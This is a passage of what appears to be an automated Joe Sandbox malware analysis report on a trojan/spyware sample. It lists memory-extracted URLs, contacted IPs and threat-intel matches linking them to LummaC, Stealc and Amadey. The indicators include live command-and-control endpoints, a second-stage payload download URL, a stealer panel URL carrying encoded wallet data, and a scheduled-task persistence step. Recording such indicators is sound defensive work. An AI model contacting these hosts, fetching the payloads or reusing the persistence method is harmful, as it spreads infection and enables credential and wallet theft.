https://tacitglibbr.biz/	4TPPuMwzSA.exe, 00000000.00000003.1488723704.000000000168D000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1489752084.000000000168D000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1442183031.0000000005FF8000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1492511030.000000000168D000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1491124712.000000000168D000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1532264303.000000000162C000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1492372678.000000000168D000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1491891684.000000000168D000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1489238865.000000000168D000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1392862125.0000000001602000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1576539233.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1490281273.000000000168D000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1514238489.0000000005FFD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	4TPPuMwzSA.exe, 00000000.00000003.1421306801.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421130611.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421208570.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268472466.0000000000835000.00000004.00000020.00020000.00000000.sdmp, GHIJJEGD.4.dr	false		high
http://www.broofa.com	chromecache_106.8.dr	false		high
https://tacitglibbr.biz/pi	4TPPuMwzSA.exe, 00000000.00000003.1576583270.000000000162C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/fate/random.exe	skotes.exe, 00000016.00000002.2604719941.0000000001429000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000016.00000002.2604719941.000000000140E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000016.00000002.2604719941.00000000013F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/MSWznTY69wwRW38B95EM	4TPPuMwzSA.exe, 00000000.00000003.1493700071.0000000005FFB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1464661544.0000000005FFB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1464820110.0000000005FFC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/	skotes.exe, 00000016.00000002.2604719941.00000000013F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpation	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.0000000001054000.00000040.00000001.01000000.00000009.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2275677985.000000000BA00000.00000004.00000020.00020000.00000000.sdmp, BFCGDAAKFHIDBFIDBKFH.4.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GNzbMA16ssY5	IECGIEBAEBFIIECBGCBGDHCAFC.4.dr	false		high
http://31.41.244.11/files/fate/random.exeXg%	skotes.exe, 00000016.00000002.2604719941.000000000140E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206;H	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268472466.00000000007BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	0T9SUT3NIHPVYFO0WUKXI.exe, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2280478139.000000006FF1D000.00000002.00000001.01000000.0000000E.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr	false		high
https://mozilla.org0/	mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	false		high
https://tacitglibbr.biz/piw	4TPPuMwzSA.exe, 00000000.00000003.1532264303.000000000162C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/fate/random.exe84760ac02b4ded8abeee1fbcd7e864	skotes.exe, 00000016.00000002.2604719941.000000000140E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	4TPPuMwzSA.exe, 00000000.00000003.1421306801.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421130611.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421208570.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268472466.0000000000835000.00000004.00000020.00020000.00000000.sdmp, GHIJJEGD.4.dr	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	4TPPuMwzSA.exe, 00000000.00000003.1465010387.0000000006036000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php0	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2275677985.000000000BA1A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	4TPPuMwzSA.exe, 00000000.00000003.1465010387.0000000006036000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php----GV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8Kn	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.0000000001054000.00000040.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	4TPPuMwzSA.exe, 00000000.00000003.1421306801.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421130611.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421208570.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, GHIJJEGD.4.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IECGIEBAEBFIIECBGCBGDHCAFC.4.dr	false		high
https://tacitglibbr.biz/5V	4TPPuMwzSA.exe, 00000000.00000003.1493700071.0000000005FFB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2275677985.000000000BA00000.00000004.00000020.00020000.00000000.sdmp, BFCGDAAKFHIDBFIDBKFH.4.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_106.8.dr	false		high
https://tacitglibbr.biz/apir2	4TPPuMwzSA.exe, 00000000.00000003.1514400361.000000000162B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/def.exeMn	4TPPuMwzSA.exe, 00000000.00000003.1638652183.000000000600D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpC	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2275677985.000000000BA11000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2275677985.000000000BA00000.00000004.00000020.00020000.00000000.sdmp, BFCGDAAKFHIDBFIDBKFH.4.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	BFCGDAAKFHIDBFIDBKFH.4.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpS	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.0000000001054000.00000040.00000001.01000000.00000009.sdmp	false		high
http://31.41.244.11/files/fate/random.exe84	skotes.exe, 00000016.00000002.2604719941.000000000140E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tacitglibbr.biz:443/api	4TPPuMwzSA.exe, 00000000.00000003.1532264303.000000000162C000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1514400361.000000000162B000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1493402352.000000000162B000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1532264303.000000000169C000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1576583270.000000000162C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpV	skotes.exe, 00000016.00000002.2604719941.00000000013F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/api=	4TPPuMwzSA.exe, 00000000.00000003.1532264303.000000000162C000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1576583270.000000000162C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/fate/random.exe8	skotes.exe, 00000016.00000002.2604719941.000000000140E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	4TPPuMwzSA.exe, 00000000.00000003.1421306801.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421130611.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421208570.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268472466.0000000000835000.00000004.00000020.00020000.00000000.sdmp, GHIJJEGD.4.dr	false		high
http://185.215.113.206ocal	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.0000000001054000.00000040.00000001.01000000.00000009.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll0	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268472466.0000000000800000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2275677985.000000000BA00000.00000004.00000020.00020000.00000000.sdmp, BFCGDAAKFHIDBFIDBKFH.4.dr	false		high
http://185.215.113.206/c4becf79229cb002.phps	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2275677985.000000000BA11000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/es	4TPPuMwzSA.exe, 00000000.00000003.1514400361.000000000162B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	4TPPuMwzSA.exe, 00000000.00000003.1465010387.0000000006036000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	4TPPuMwzSA.exe, 00000000.00000003.1465010387.0000000006036000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	4TPPuMwzSA.exe, 00000000.00000003.1421306801.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421130611.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421208570.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268472466.0000000000835000.00000004.00000020.00020000.00000000.sdmp, GHIJJEGD.4.dr	false		high
https://tacitglibbr.biz/s	4TPPuMwzSA.exe, 00000000.00000003.1514400361.000000000162B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/T	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268472466.000000000081D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://apis.google.com	chromecache_106.8.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	4TPPuMwzSA.exe, 00000000.00000003.1466278746.00000000062AD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php.	skotes.exe, 00000016.00000002.2604719941.00000000013F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.sqlite.org/copyright.html.	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2272535171.00000000058B0000.00000004.00000020.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2279552131.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.206ocalMicrosoft	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.0000000001054000.00000040.00000001.01000000.00000009.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	4TPPuMwzSA.exe, 00000000.00000003.1421306801.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421130611.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421208570.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, GHIJJEGD.4.dr	false		high
https://tacitglibbr.biz/o~Kg	4TPPuMwzSA.exe, 00000000.00000003.1576539233.000000000169A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/fate/random.execodedSg	skotes.exe, 00000016.00000002.2604719941.000000000140E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	4TPPuMwzSA.exe, 00000000.00000003.1421306801.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421130611.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421208570.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, GHIJJEGD.4.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2275677985.000000000BA00000.00000004.00000020.00020000.00000000.sdmp, BFCGDAAKFHIDBFIDBKFH.4.dr	false		high
http://31.41.244.11/files/fate/random.exe1	skotes.exe, 00000016.00000002.2604719941.000000000140E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	4TPPuMwzSA.exe, 00000000.00000003.1465010387.0000000006036000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2275677985.000000000BA00000.00000004.00000020.00020000.00000000.sdmp, BFCGDAAKFHIDBFIDBKFH.4.dr	false		high
http://185.215.113.206c4becf79229cb002.phpd2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8Kn	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.0000000001054000.00000040.00000001.01000000.00000009.sdmp	false		high
http://31.41.244.11/iles/fate/random.exej	skotes.exe, 00000016.00000002.2604719941.00000000013F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	IECGIEBAEBFIIECBGCBGDHCAFC.4.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpPVYFO0WUKXI.exex	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268472466.000000000081D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268472466.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.0000000001054000.00000040.00000001.01000000.00000009.sdmp	false		high
http://31.41.244.11/1.244.11/files/fate/random.exe	skotes.exe, 00000016.00000002.2604719941.00000000013F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/sqlite3.dllJ	0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268472466.0000000000835000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	4TPPuMwzSA.exe, 00000000.00000003.1421306801.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421130611.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421208570.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, GHIJJEGD.4.dr	false		high
http://31.41.244.11/files/fate/random.exe8476	skotes.exe, 00000016.00000002.2604719941.000000000140E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.50.161	tacitglibbr.biz	United States	13335	CLOUDFLARENETUS	false
172.217.17.46	plus.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
192.168.2.9
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1575796
Start date and time:	2024-12-16 10:36:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	4TPPuMwzSA.exe renamed because original name is a hash value
Original Sample Name:	d8c2dbe1dc35a7cdac6842d48fecb333.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@41/62@5/10
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 172.217.21.35, 64.233.162.84, 172.217.19.238, 142.250.181.142, 142.250.181.10, 142.250.181.138, 172.217.19.10, 172.217.19.202, 172.217.17.74, 142.250.181.106, 172.217.17.42, 142.250.181.74, 172.217.19.234, 216.58.208.234, 142.250.181.42, 172.217.21.42, 13.107.246.63, 52.149.20.212, 23.218.208.109, 23.206.229.209
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, azureedge-t-prod.trafficmanager.net, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Execution Graph export aborted for target 0T9SUT3NIHPVYFO0WUKXI.exe, PID 8088 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 4TPPuMwzSA.exe

Simulations

Behavior and APIs

Time	Type	Description
04:37:07	API Interceptor	22x Sleep call for process: 4TPPuMwzSA.exe modified
04:38:07	API Interceptor	204x Sleep call for process: 0T9SUT3NIHPVYFO0WUKXI.exe modified
04:39:01	API Interceptor	56x Sleep call for process: skotes.exe modified
09:38:32	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0035.t-0009.t-msedge.net	P0HV8mjHS1.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.63
	hiip7UoiAq.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	Payment_swift_copy.xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	Statement Of Account - (USD 19,490.00 ).xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	Statement Of Account - (USD 19,490.00 ).xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	Payment_swift_copy.xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	PqiALr4HeI.exe	Get hash	malicious	LummaC, Stealc	Browse	13.107.246.63
	https://cavotec-au.sharefile.com/public/share/web-1271a93971714a91	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	imagelogger.exe	Get hash	malicious	XWorm	Browse	13.107.246.63
	Ex.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
tacitglibbr.biz	yYJUaOwKa8.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	Wqd6nMOfmG.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.164.37
	hiip7UoiAq.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	AzunBFiz02.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	SOjID1t3un.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	8Bd1K3FM7v.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	PqiALr4HeI.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.164.37
	WTI4lrpauV.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	172.67.164.37

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	yYJUaOwKa8.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	http://minimalfreaks.co	Get hash	malicious	HTMLPhisher	Browse	104.16.79.73
	T0x859fNfn.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	Wqd6nMOfmG.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.164.37
	hiip7UoiAq.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	AzunBFiz02.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	MessengerAdmin.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
	SOjID1t3un.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	8Bd1K3FM7v.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	https://t.co/eSJUUrWOcO	Get hash	malicious	HTMLPhisher	Browse	104.26.4.15
WHOLESALECONNECTIONSNL	Wqd6nMOfmG.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	PqiALr4HeI.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	xbBhIKxITG.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	Wqd6nMOfmG.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	PqiALr4HeI.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	xbBhIKxITG.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	yYJUaOwKa8.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	Wqd6nMOfmG.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.50.161
	hiip7UoiAq.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	AzunBFiz02.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	MessengerAdmin.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	SOjID1t3un.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
